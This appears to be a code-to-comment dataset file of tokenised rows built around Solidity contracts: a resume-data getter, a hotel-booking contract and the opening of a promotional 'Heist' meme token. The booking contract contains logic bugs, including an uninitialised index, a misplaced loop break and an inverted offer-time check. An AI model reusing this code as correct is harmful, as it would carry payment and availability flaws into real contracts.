[ 1, 565, 445, 7516, 8579, 52, 2012, 12, 11890, 5034, 389, 591, 2977, 475, 548, 13, 203, 565, 3903, 203, 565, 3849, 203, 565, 288, 203, 3639, 6622, 278, 1503, 5664, 18, 3882, 278, 1503, 3245, 2502, 312, 4487, 273, 6622, 278, 1503, 5664, 18, 27151, 1503, 3245, 5621, 203, 203, 3639, 735, 2977, 475, 3778, 1959, 3515, 273, 23232, 278, 2933, 7675, 588, 442, 2977, 475, 24899, 591, 2977, 475, 548, 1769, 203, 203, 3639, 2583, 12443, 591, 2977, 475, 18, 9561, 52, 2012, 405, 374, 13, 597, 261, 591, 2977, 475, 18, 1786, 749, 422, 1234, 18, 15330, 10019, 203, 203, 3639, 2583, 12443, 591, 2977, 475, 18, 2859, 1283, 300, 1959, 3515, 18, 9340, 72, 3088, 1283, 13, 405, 374, 16, 315, 87, 1673, 596, 300, 999, 1746, 30746, 8863, 203, 203, 3639, 348, 5349, 2502, 272, 5349, 273, 312, 4487, 18, 87, 5408, 63, 67, 591, 2977, 475, 548, 15533, 203, 3639, 2583, 12443, 87, 5349, 18, 2019, 422, 3287, 18, 7051, 13, 597, 261, 87, 5349, 18, 1937, 480, 374, 3631, 315, 30746, 13342, 1404, 5746, 578, 1661, 17, 19041, 8863, 203, 203, 3639, 23232, 278, 2933, 7675, 542, 442, 2977, 475, 8579, 52, 2012, 12, 591, 2977, 475, 18, 350, 16, 374, 1769, 203, 3639, 1015, 70, 295, 307, 42, 19156, 24899, 591, 2977, 475, 548, 16, 1959, 3515, 18, 9561, 52, 2012, 1769, 203, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** * This contract acts as a controller for front-end * requests. The DB file is separate incase, solidity adds * functionality to return structs. In that case, only * this contract needs to be redeployed and data migration * will not be needed as the data is stored in DB.sol * contract. */ pragma solidity ^0.4.24; pragma experimental ABIEncoderV2; // experimental // imports import "./Blockvitae.sol"; import "./DBGetter.sol"; import "./DB.sol"; contract BlockvitaeGetter is Blockvitae { Blockvitae private blockvitae; DBGetter private dbGetter; DB private db; // @Reference: // http://solidity.readthedocs.io/en/latest/contracts.html#arguments-for-base-constructors constructor(DB _db, DBInsert _dbInsert, DBGetter _dbGetter, DBDelete _dbDelete, Blockvitae _blockvitae) Blockvitae(_db, _dbInsert, _dbGetter, _dbDelete) public { // set this contract as the owner of DB contract // to avoid any external calls to DB contract // All calls to DB contract should pass through this // contract _db.setOwner(address(this)); db = _db; dbGetter = _dbGetter; blockvitae = _blockvitae; } // check for the owner modifier isOwner(address _sender) { require(blockvitae.owner() == _sender); _; } // @description // gets count of total education added // // @param address _user // address of the user who's data is to be searched // // @return uint // count of the total education for the given user function getEducationCount(address _user) public view returns(uint) { return dbGetter.findUserEducation(_user).length; } // @description // gets the user education with the given index for the given user // // @param address _user // address of the user who's education is to be searched // // @param uint _index // index of the education to be searched // // @return (string, string, string, string, string, bool) // organization, level, dateStart, dateEnd // and description of the education with given index function getUserEducation(address _user, uint _index) public view returns(string, string, string, string, string, bool) { User.UserEducation[] memory education = dbGetter.findUserEducation(_user); return (education[_index].organization, education[_index].level, education[_index].dateStart, education[_index].dateEnd, education[_index].description, education[_index].isDeleted); } // @description // gets count of total publications added // // @param address _user // address of the user who's data is to be searched // // @return uint // count of the total publication for the given user function getPublicationCount(address _user) public view returns(uint) { return dbGetter.findUserPublication(_user).length; } // @description // gets the user publication with the given index for the given user // // @param address _user // address of the user who's publication is to be searched // // @param uint _index // index of the publication to be searched // // @return (string, string, string, bool) // title, url, description & isDeleted of the publication with given index function getUserPublication(address _user, uint _index) public view returns(string, string, string, bool) { User.UserPublication[] memory publication = dbGetter.findUserPublication(_user); return (publication[_index].title, publication[_index].url, publication[_index].description, publication[_index].isDeleted); } // @description // gets the array of skills of the user // // @param address _user // address of the user who's data is to be searched // // @return bytes32[] // array of skills of the user with given address function getUserSkills(address _user) public view returns(bytes32[]) { return dbGetter.findUserSkill(_user).skills; } // @description // gets the string of introduction of the user // // @param address _user // address of the user who's data is to be searched // // @return string // introduction of the user with given address function getUserIntroduction(address _user) public view returns(string) { return dbGetter.findUserIntroduction(_user).introduction; } // @description // Solidity doesn't allow to return array of strings // Therefore, get count of projects first and // then get each project one at a time from front end // // @param address _user // address of the user who's data is to be searched // // @return uint // count of the total projects for the given user function getProjectCount(address _user) public view returns(uint) { return dbGetter.findUserProject(_user).length; } // @description // gets the user project with the given index for the given user // // @param address _user // address of the user who's projects are to be searched // // @param uint _index // index of the project to be searched // // @return (string, string, string, string, bool) // name, short description, description and url of the project with given index function getUserProject(address _user, uint _index) public view returns(string, string, string, string, bool) { User.UserProject[] memory projects = dbGetter.findUserProject(_user); return (projects[_index].name, projects[_index].shortDescription, projects[_index].description, projects[_index].url, projects[_index].isDeleted); } // @description // gets count of total work experiences added // // @param address _user // address of the user who's data is to be searched // // @return uint // count of the total work exp for the given user function getWorkExpCount(address _user) public view returns(uint) { return dbGetter.findUserWorkExp(_user).length; } // @description // gets the user work exp with the given index for the given user // // @param address _user // address of the user who's work exp are to be searched // // @param uint _index // index of the work exp to be searched // // @return (string, string, string, string, string, bool, bool) // company, position, dateStart, dateEnd // and description of the work exp with given index function getUserWorkExp(address _user, uint _index) public view returns(string, string, string, string, string, bool, bool) { User.UserWorkExp[] memory work = dbGetter.findUserWorkExp(_user); return (work[_index].company, work[_index].position, work[_index].dateStart, work[_index].dateEnd, work[_index].description, work[_index].isWorking, work[_index].isDeleted); } // @description // returns UserDetail struct values // for the given address if user exists // // @param address _user // address of the user for which UserDetail is // to be searched // // @return (string, bytes32, string, string, string, string) // array of strings containing values of // UserDetail struct in the respective order function getUserDetail(address _user) public view returns(string, bytes32, string, string, string, string) { // find the user details User.UserDetail memory personal = dbGetter.findUserDetail(_user); // return return (personal.fullName, personal.userName, personal.imgUrl, personal.email, personal.location, personal.description); } // @description // returns UserSocial struct values // for the given address if user exists // // @param address _user // address of the user for which UserSocial is // to be searched // // @return (string, string, string, string, string, string, string, string) // array of strings containing values of // UserSocial struct in the respective order function getUserSocial(address _user) public view returns(string, string, string, string, string, string, string, string) { // find the user details User.UserSocial memory social = dbGetter.findUserSocial(_user); // return return (social.websiteUrl, social.twitterUrl, social.fbUrl, social.githubUrl, social.dribbbleUrl, social.linkedInUrl, social.behanceUrl, social.mediumUrl); } // @description // finds the address the given userName // // @param string _userName // userName of the user who's address is to be searched // // @return address // address of the user with given userName function getAddrForUserName(bytes32 _userName) public view returns(address) { return dbGetter.findAddrForUserName(_userName); } // @description // Checks if the given username is available or taken // // @param string _userName // username to be checked // // @return bool // true if username is available else false function isUsernameAvailable(bytes32 _userName) public view returns(bool) { return dbGetter.usernameExists(_userName); } // @description // gets the total number of users registered so far // // @return uint // count of users registered so far function getTotalUsers() public view isOwner(msg.sender) returns(uint) { return db.totalUsers(); } }
@description gets the user project with the given index for the given user @param address _user address of the user who's projects are to be searched @param uint _index index of the project to be searched @return (string, string, string, string, bool) name, short description, description and url of the project with given index
function getUserProject(address _user, uint _index) public view returns(string, string, string, string, bool) { User.UserProject[] memory projects = dbGetter.findUserProject(_user); return (projects[_index].name, projects[_index].shortDescription, projects[_index].description, projects[_index].url, projects[_index].isDeleted); }
15,863,053
[ 1, 36, 3384, 5571, 326, 729, 1984, 598, 326, 864, 770, 364, 326, 864, 729, 225, 1758, 389, 1355, 1758, 434, 326, 729, 10354, 1807, 10137, 854, 358, 506, 19242, 225, 2254, 389, 1615, 770, 434, 326, 1984, 358, 506, 19242, 327, 261, 1080, 16, 533, 16, 533, 16, 533, 16, 1426, 13, 508, 16, 3025, 2477, 16, 2477, 471, 880, 434, 326, 1984, 598, 864, 770, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 4735, 4109, 12, 2867, 389, 1355, 16, 2254, 389, 1615, 13, 203, 202, 482, 203, 202, 1945, 203, 202, 6154, 12, 1080, 16, 533, 16, 533, 16, 533, 16, 1426, 13, 288, 203, 1082, 202, 1299, 18, 1299, 4109, 8526, 3778, 10137, 273, 1319, 8461, 18, 4720, 1299, 4109, 24899, 1355, 1769, 203, 202, 203, 1082, 202, 2463, 261, 13582, 63, 67, 1615, 8009, 529, 16, 10137, 63, 67, 1615, 8009, 6620, 3291, 16, 7010, 1082, 202, 13582, 63, 67, 1615, 8009, 3384, 16, 10137, 63, 67, 1615, 8009, 718, 16, 203, 1082, 202, 13582, 63, 67, 1615, 8009, 291, 7977, 1769, 203, 202, 97, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; // File: zeppelin-solidity/contracts/ECRecovery.sol /** * @title Eliptic curve signature operations * @dev Based on https://gist.github.com/axic/5b33912c6f61ae6fd96d6c4a47afde6d * TODO Remove this library once solidity supports passing a signature to ecrecover. * See https://github.com/ethereum/solidity/issues/864 */ library ECRecovery { /** * @dev Recover signer address from a message by using their signature * @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address. * @param sig bytes signature, the signature is generated using web3.eth.sign() */ function recover(bytes32 hash, bytes sig) internal pure returns (address) { bytes32 r; bytes32 s; uint8 v; // Check the signature length if (sig.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solium-disable-next-line security/no-inline-assembly assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } // Version of signature should be 27 or 28, but 0 and 1 are also possible versions if (v < 27) { v += 27; } // If the version is correct return the signer address if (v != 27 && v != 28) { return (address(0)); } else { // solium-disable-next-line arg-overflow return ecrecover(hash, v, r, s); } } /** * toEthSignedMessageHash * @dev prefix a bytes32 value with "\x19Ethereum Signed Message:" * and hash the result */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256( abi.encodePacked("\x19Ethereum Signed Message:\n32", hash) ); } } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: contracts/BookingPoC.sol /** * @title BookingPoC * @dev A contract to offer hotel rooms for booking, the payment can be done * with ETH or Lif */ contract BookingPoC is Ownable { using SafeMath for uint256; using ECRecovery for bytes32; // The account that will sign the offers address public offerSigner; // The time where no more bookings can be done uint256 public endBookings; // A mapping of the rooms booked by night, it saves the guest address by // room/night // RoomType => Night => Room => Booking struct Booking { address guest; bytes32 bookingHash; uint256 payed; bool isEther; } struct RoomType { uint256 totalRooms; mapping(uint256 => mapping(uint256 => Booking)) nights; } mapping(string => RoomType) rooms; // An array of the refund polices, it has to be ordered by beforeTime struct Refund { uint256 beforeTime; uint8 dividedBy; } Refund[] public refunds; // The total amount of nights offered for booking uint256 public totalNights; // The ERC20 lifToken that will be used for payment ERC20 public lifToken; event BookingCanceled( string roomType, uint256[] nights, uint256 room, address newGuest, bytes32 bookingHash ); event BookingChanged( string roomType, uint256[] nights, uint256 room, address newGuest, bytes32 bookingHash ); event BookingDone( string roomType, uint256[] nights, uint256 room, address guest, bytes32 bookingHash ); event RoomsAdded(string roomType, uint256 newRooms); /** * @dev Constructor * @param _offerSigner Address of the account that will sign offers * @param _lifToken Address of the Lif token contract * @param _totalNights The max amount of nights to be booked */ constructor( address _offerSigner, address _lifToken, uint256 _totalNights, uint256 _endBookings ) public { require(_offerSigner != address(0)); require(_lifToken != address(0)); require(_totalNights > 0); require(_endBookings > now); offerSigner = _offerSigner; lifToken = ERC20(_lifToken); totalNights = _totalNights; endBookings = _endBookings; } /** * @dev Change the signer or lif token addresses, only called by owner * @param _offerSigner Address of the account that will sign offers * @param _lifToken Address of the Lif token contract */ function edit(address _offerSigner, address _lifToken) onlyOwner public { require(_offerSigner != address(0)); require(_lifToken != address(0)); offerSigner = _offerSigner; lifToken = ERC20(_lifToken); } /** * @dev Add a refund policy * @param _beforeTime The time before this refund can be executed * @param _dividedBy The divisor of the payment value */ function addRefund(uint256 _beforeTime, uint8 _dividedBy) onlyOwner public { if (refunds.length > 0) require(refunds[refunds.length-1].beforeTime > _beforeTime); refunds.push(Refund(_beforeTime, _dividedBy)); } /** * @dev Change a refund policy * @param _beforeTime The time before this refund can be executed * @param _dividedBy The divisor of the payment value */ function changeRefund( uint8 _refundIndex, uint256 _beforeTime, uint8 _dividedBy ) onlyOwner public { if (_refundIndex > 0) require(refunds[_refundIndex-1].beforeTime > _beforeTime); refunds[_refundIndex].beforeTime = _beforeTime; refunds[_refundIndex].dividedBy = _dividedBy; } /** * @dev Increase the amount of rooms offered, only called by owner * @param roomType The room type to be added * @param amount The amount of rooms to be increased */ function addRooms(string roomType, uint256 amount) onlyOwner public { rooms[roomType].totalRooms = rooms[roomType].totalRooms.add(amount); emit RoomsAdded(roomType, amount); } /** * @dev Book a room for a certain address, internal function * @param roomType The room type to be booked * @param _nights The nights that we want to book * @param room The room that wants to be booked * @param guest The address of the guest that will book the room */ function bookRoom( string roomType, uint256[] _nights, uint256 room, address guest, bytes32 bookingHash, uint256 weiPerNight, bool isEther ) internal { for (uint i = 0; i < _nights.length; i ++) { rooms[roomType].nights[_nights[i]][room].guest = guest; rooms[roomType].nights[_nights[i]][room].bookingHash = bookingHash; rooms[roomType].nights[_nights[i]][room].payed = weiPerNight; rooms[roomType].nights[_nights[i]][room].isEther = isEther; } emit BookingDone(roomType, _nights, room, guest, bookingHash); } event log(uint256 msg); /** * @dev Cancel a booking * @param roomType The room type to be booked * @param _nights The nights that we want to book * @param room The room that wants to be booked */ function cancelBooking( string roomType, uint256[] _nights, uint256 room, bytes32 bookingHash, bool isEther ) public { // Check the booking and delete it uint256 totalPayed = 0; for (uint i = 0; i < _nights.length; i ++) { require(rooms[roomType].nights[_nights[i]][room].guest == msg.sender); require(rooms[roomType].nights[_nights[i]][room].isEther == isEther); require(rooms[roomType].nights[_nights[i]][room].bookingHash == bookingHash); totalPayed = totalPayed.add( rooms[roomType].nights[_nights[i]][room].payed ); delete rooms[roomType].nights[_nights[i]][room]; } // Calculate refund amount uint256 refundAmount = 0; for (i = 0; i < refunds.length; i ++) { if (now < endBookings.sub(refunds[i].beforeTime)){ refundAmount = totalPayed.div(refunds[i].dividedBy); break; } } // Forward refund funds if (isEther) msg.sender.transfer(refundAmount); else lifToken.transfer(msg.sender, refundAmount); emit BookingCanceled(roomType, _nights, room, msg.sender, bookingHash); } /** * @dev Withdraw tokens and eth, only from owner contract */ function withdraw() public onlyOwner { require(now > endBookings); lifToken.transfer(owner, lifToken.balanceOf(address(this))); owner.transfer(address(this).balance); } /** * @dev Book a room paying with ETH * @param pricePerNight The price per night in wei * @param offerTimestamp The timestamp of when the offer ends * @param offerSignature The signature provided by the offer signer * @param roomType The room type that the guest wants to book * @param _nights The nights that the guest wants to book */ function bookWithEth( uint256 pricePerNight, uint256 offerTimestamp, bytes offerSignature, string roomType, uint256[] _nights, bytes32 bookingHash ) public payable { // Check that the offer is still valid require(offerTimestamp < now); require(now < endBookings); // Check the eth sent require(pricePerNight.mul(_nights.length) <= msg.value); // Check if there is at least one room available uint256 available = firstRoomAvailable(roomType, _nights); require(available > 0); // Check the signer of the offer is the right address bytes32 priceSigned = keccak256(abi.encodePacked( roomType, pricePerNight, offerTimestamp, "eth", bookingHash )).toEthSignedMessageHash(); require(offerSigner == priceSigned.recover(offerSignature)); // Assign the available room to the guest bookRoom( roomType, _nights, available, msg.sender, bookingHash, pricePerNight, true ); } /** * @dev Book a room paying with Lif * @param pricePerNight The price per night in wei * @param offerTimestamp The timestamp of when the offer ends * @param offerSignature The signature provided by the offer signer * @param roomType The room type that the guest wants to book * @param _nights The nights that the guest wants to book */ function bookWithLif( uint256 pricePerNight, uint256 offerTimestamp, bytes offerSignature, string roomType, uint256[] _nights, bytes32 bookingHash ) public { // Check that the offer is still valid require(offerTimestamp < now); // Check the amount of lifTokens allowed to be spent by this contract uint256 lifTokenAllowance = lifToken.allowance(msg.sender, address(this)); require(pricePerNight.mul(_nights.length) <= lifTokenAllowance); // Check if there is at least one room available uint256 available = firstRoomAvailable(roomType, _nights); require(available > 0); // Check the signer of the offer is the right address bytes32 priceSigned = keccak256(abi.encodePacked( roomType, pricePerNight, offerTimestamp, "lif", bookingHash )).toEthSignedMessageHash(); require(offerSigner == priceSigned.recover(offerSignature)); // Assign the available room to the guest bookRoom( roomType, _nights, available, msg.sender, bookingHash, pricePerNight, false ); // Transfer the lifTokens to booking lifToken.transferFrom(msg.sender, address(this), lifTokenAllowance); } /** * @dev Get the total rooms for a room type * @param roomType The room type that wants to be booked */ function totalRooms(string roomType) view public returns (uint256) { return rooms[roomType].totalRooms; } /** * @dev Get a booking information * @param roomType The room type * @param room The room booked * @param night The night of the booking */ function getBooking( string roomType, uint256 room, uint256 night ) view public returns (address, uint256, bytes32, bool) { return ( rooms[roomType].nights[night][room].guest, rooms[roomType].nights[night][room].payed, rooms[roomType].nights[night][room].bookingHash, rooms[roomType].nights[night][room].isEther ); } /** * @dev Get the availability of a specific room * @param roomType The room type that wants to be booked * @param _nights The nights to check availability * @param room The room that wants to be booked * @return bool If the room is available or not */ function roomAvailable( string roomType, uint256[] _nights, uint256 room ) view public returns (bool) { require(room <= rooms[roomType].totalRooms); for (uint i = 0; i < _nights.length; i ++) { require(_nights[i] <= totalNights); if (rooms[roomType].nights[_nights[i]][room].guest != address(0)) return false; } return true; } /** * @dev Get the available rooms for certain nights * @param roomType The room type that wants to be booked * @param _nights The nights to check availability * @return uint256 Array of the rooms available for that nights */ function roomsAvailable( string roomType, uint256[] _nights ) view public returns (uint256[]) { require(_nights[i] <= totalNights); uint256[] memory available = new uint256[](rooms[roomType].totalRooms); for (uint z = 1; z <= rooms[roomType].totalRooms; z ++) { available[z-1] = z; for (uint i = 0; i < _nights.length; i ++) if (rooms[roomType].nights[_nights[i]][z].guest != address(0)) { available[z-1] = 0; break; } } return available; } /** * @dev Get the first available room for certain nights * @param roomType The room type that wants to be booked * @param _nights The nights to check availability * @return uint256 The first available room */ function firstRoomAvailable( string roomType, uint256[] _nights ) internal returns (uint256) { require(_nights[i] <= totalNights); uint256 available = 0; bool isAvailable; for (uint z = rooms[roomType].totalRooms; z >= 1 ; z --) { isAvailable = true; for (uint i = 0; i < _nights.length; i ++) { if (rooms[roomType].nights[_nights[i]][z].guest != address(0)) isAvailable = false; break; } if (isAvailable) available = z; } return available; } }
* @dev Increase the amount of rooms offered, only called by owner @param roomType The room type to be added @param amount The amount of rooms to be increased/
function addRooms(string roomType, uint256 amount) onlyOwner public { rooms[roomType].totalRooms = rooms[roomType].totalRooms.add(amount); emit RoomsAdded(roomType, amount); }
413,705
[ 1, 382, 11908, 326, 3844, 434, 26450, 10067, 329, 16, 1338, 2566, 635, 3410, 225, 7725, 559, 1021, 7725, 618, 358, 506, 3096, 225, 3844, 1021, 3844, 434, 26450, 358, 506, 31383, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 527, 13646, 87, 12, 1080, 7725, 559, 16, 2254, 5034, 3844, 13, 1338, 5541, 1071, 288, 203, 565, 26450, 63, 13924, 559, 8009, 4963, 13646, 87, 273, 26450, 63, 13924, 559, 8009, 4963, 13646, 87, 18, 1289, 12, 8949, 1769, 203, 565, 3626, 27535, 87, 8602, 12, 13924, 559, 16, 3844, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2022-04-22 */ /** _____ _ _ ___ ___ ___ ___ __ __ ___ _ _ ___ |_ _|| || || __| | \ |_ _|/ \| \/ | / _ \ | \| || \ | | | __ || _| | |) | | | | - || |\/| || (_) || . || |) | |_| |_||_||___| |___/ |___||_|_||_| |_| \___/ |_|\_||___/ ██ ██████ ██████████ ██████████████ ██████████████████ ██████████████████ ██████████████████ ██████████████ ██ ██████ ██████████ ___ ___ ___ ___ _ _ ___ _ _ ___ ___ ___ _____ / __|/ \/ __||_ _|| \| | / _ \ | || || __||_ _|/ __||_ _| | (__ | - |\__ \ | | | . || (_) | | __ || _| | | \__ \ | | \___||_|_||___/|___||_|\_| \___/ |_||_||___||___||___/ |_| MAX BUY (10,000,000) Until Limits Removed. Buy Tax 0%, Sell Tax 5% Liquidity Fee only. Another profitable Heist, but gotta get through more security, but once u do, more riches. A more complicated Heist. Now that people have endured their first heist, people are smarter, but the cops who have seen the heist, are also smarter... 8am. The Diamond Casino (IYKYK). Pokies? Roullette? Chips? Or again, going to try crack the vault? Only few going for the vault just made it last time. Be like James Bond in the Casino, do your thing and dip, you wait long enough you may be the hero, or get into even more trouble. Rest of the details are in our main, already well esatblished TG: https://t.me/TheGrand_Heist Proceeds go to the main Coin, HEIST. **/ // SPDX-License-Identifier: MIT pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0; pragma experimental ABIEncoderV2; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, 